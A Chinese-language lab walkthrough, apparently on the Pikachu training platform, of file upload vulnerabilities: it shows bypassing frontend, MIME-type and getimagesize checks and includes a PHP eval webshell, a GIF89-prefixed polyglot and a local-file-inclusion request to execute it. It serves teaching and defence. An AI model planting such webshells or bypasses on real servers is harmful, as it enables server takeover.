概述
文件上傳功能在web應用系統很常見,比如很多網站註冊的時候需要上傳頭像、上傳附件等等。當用戶點擊上傳按鈕後,後臺會對上傳的文件進行判斷 比如是否是指定的類型、後綴名、大小等等,然後將其按照設計的格式進行重命名後存儲在指定的目錄。 如果說後臺對上傳的文件沒有進行任何的安全判斷或者判斷條件不夠嚴謹,則攻擊着可能會上傳一些惡意的文件,比如一句話木馬,從而導致後臺服務器被webshell。
所以,在設計文件上傳功能時,一定要對傳進來的文件進行嚴格的安全考慮。比如:
--驗證文件類型、後綴名、大小;
--驗證文件的上傳方式;
--對文件進行一定複雜的重命名;
--不要暴露文件上傳後的路徑;
--等等...
你可以通過“Unsafe file upload”對應的測試欄目,來進一步的瞭解該漏洞。
一、客戶端/前端上傳檢測
如果把檢測放在前端:
function checkFileExt(filename)
{
var flag = false; //狀態
var arr = ["jpg","png","gif"];
//取出上傳文件的擴展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比較
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合適的,立即退出循環
break;
}
}
//條件判斷
if(!flag)
{
alert("上傳的文件不符合要求,請重新選擇!");
location.reload(true);
}
}
分析
我們先上傳一個非圖片的後門腳本 hack.php:
<?php
@eval($_POST['hack']);
?>
發現被前端攔截了:
雖然前端的函數用了白名單進行過濾, 但是並不是安全的。
漏洞利用
可以通過修改網頁源碼的方式來繞過:
一切在前端做的安全措施都是不靠譜的 !
二、服務端上傳檢測
既然前端檢測不安全, 那麼就把上傳檢測放到服務端, 這就安全了嗎? 我們拭目以待
分析
當我們選擇非圖片的文件時, 不會攔截; 而當點擊上傳時, 在服務端檢測到非圖片格式, 就被攔截了:
漏洞利用
儘管如此, 我們也可以通過抓包修改數據包的關鍵信息, 使服務端認爲該文件是合法的
在此之前, 先拓展一個知識點:
MIME (Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型
MIME 是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問時,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。
每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音audio、圖象image等,後面定義具體的種類。常見的 MIME 類型,比如:
- 超文本標記語言:.html,.html text.html
- 普通文件:.txt text/plain
- RTF文件:.rtf application/rtf
- GIF圖形:.gif image/gif
- JPEG圖形:.jpeg,.jpg image/jpeg
那麼我們就可以通過抓包修改數據包中HTTP中的 Content-Type, 讓服務端誤認爲惡意腳本文件是合法圖片格式
然後就可以成功繞過檢測了:
三、基於文件內容的上傳檢測
- getimagesize(string filename) 函數
函數將測定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 圖像文件的大小並返回圖像的尺寸以及文件類型及圖片高度與寬度。即函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯。
可以看到,High級別的代碼讀取文件名中最後一個”.”後的字符串, 即取最後一個後綴,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是”*.jpg”、”*.jpeg” 、”*.png”之一。同時,getimagesize函數更是限制了上傳文件的文件頭必須爲圖像類型。
分析
假如我們嘗試上一關的方法, 是不能通過圖片內容檢測的:
服務端有可能直接判斷文件後綴類型了, 我們將後綴改爲jpg繼續試試:
即使腳本類型爲jpg的, 但是當內容非圖片格式的時候, 也不能上傳。
漏洞利用
有兩種方法繞過:
- 添加jpg圖片的格式頭到腳本
hack.jpg
GIF89
<?php
phpinfo();
?>
上傳成功:
- jpg+php組合拳
用命令:
echo '<?php phpinfo(); ?>' >> pic.jpg
將php一句話寫到圖片pic.jpg的末尾 (注意大小不要太大):
然後上傳即可繞過檢測:
通過以上兩種中的任意一種方法上傳成功"圖片格式"的木馬後怎麼拿執行呢??
服務器將木馬文件解析成了圖片文件,因此向其發送執行該文件的請求時,服務器只會返回這個“圖片”文件,並不會執行相應命令。
利用 文件包含漏洞 可以將圖片格式的文件當做php文件來解析執行:
http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=../../unsafeupload/uploads/2020/02/21/4297605e4fd433f3445241700590.jpg
&submit=提交查詢
當然也可以上傳一句話木馬, 然後用文件包含漏洞來拿webshell。